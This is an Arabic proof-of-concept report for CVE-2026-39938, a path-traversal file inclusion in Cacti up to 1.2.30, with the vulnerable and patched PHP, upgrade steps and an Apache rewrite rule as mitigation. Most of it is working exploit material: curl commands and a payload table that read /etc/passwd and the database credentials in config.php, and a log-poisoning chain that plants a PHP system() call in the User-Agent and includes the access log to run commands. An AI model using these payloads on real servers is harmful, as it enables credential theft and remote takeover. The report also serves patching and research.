
برهان المفهوم لثغرة CVE-2026-39938: تضمين ملف محلي غير مصادق عليه في Cacti <= 1.2.30، مما يتيح قراءة الملفات التعسفية وتنفيذ التعليمات البرمجية عن بُعد عبر تسميم السجلات.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-39938 |
| درجة CVSS | 9.8 (حرج) |
| المنتج المتأثر | Cacti |
| الإصدارات المتأثرة | <= 1.2.30 |
| الإصدار المُصحَّح | 1.2.31 |
| تعهيد التصحيح | 9871f0c |
توجد الثغرة في lib/rrd.php حيث يتم استخدام المُعامل graph_theme مباشرة دون تنقية:
الكود الضعيف:
if (isset($graph_data_array['graph_theme'])) {
$rrdtheme = $config['base_path'] . '/include/themes/' . $graph_data_array['graph_theme'] . '/rrdtheme.php';
}
الكود المُصحَّح:
if (isset($graph_data_array['graph_theme'])) {
$theme = basename($graph_data_array['graph_theme']);
if ($theme === '' || $theme === '.' || $theme === '..') {
$theme = get_selected_theme();
}
$rrdtheme = $config['base_path'] . '/include/themes/' . $theme . '/rrdtheme.php';
}
المشكلة: عدم التحقق من تسلسلات اجتياز المسار ../، مما يسمح للمهاجمين بقراءة ملفات عشوائية دون مصادقة.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd"
النتيجة: سيتم عرض محتويات /etc/passwd في الاستجابة.
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php"
النتيجة: سيتم كشف بيانات اعتماد قاعدة البيانات (اسم المستخدم، كلمة المرور).
curl -k -s "http://target-cacti/graph_image.php?local_graph_id=1" \
-H "User-Agent: <?php system('id'); ?>"
curl -k -s "http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log"
النتيجة: سيتم عرض مخرجات الأمر (مثل uid=33(www-data)).
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../etc/passwd
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../include/config.php
http://target-cacti/graph_image.php?local_graph_id=1
مع الرأس: User-Agent: <?php system('id'); ?>
http://target-cacti/graph_image.php?action=view&local_graph_id=1&graph_theme=../../../../../../../var/log/apache2/access.log
cd /var/www/html/cacti
git fetch --tags
git checkout tags/release/1.2.31
grep -A 5 "if (isset(\$graph_data_array\['graph_theme'\]))" lib/rrd.php | grep basename
RewriteCond %{QUERY_STRING} (^|&)graph_theme=\.\./ [NC]
RewriteRule ^graph_image\.php$ - [F,L]
تم إنشاء التقرير لأغراض البحث الأمني التاريخ: 27 يونيو، 2026
| النقطة النهائية | المُعامل | مثال للحمولة |
|---|
/graph_image.php | graph_theme | ../../../../../../../etc/passwd |
/graph_image.php | graph_theme | ../../../../include/config.php |
/graph_image.php | graph_theme | ../../../../../../../var/log/apache2/access.log |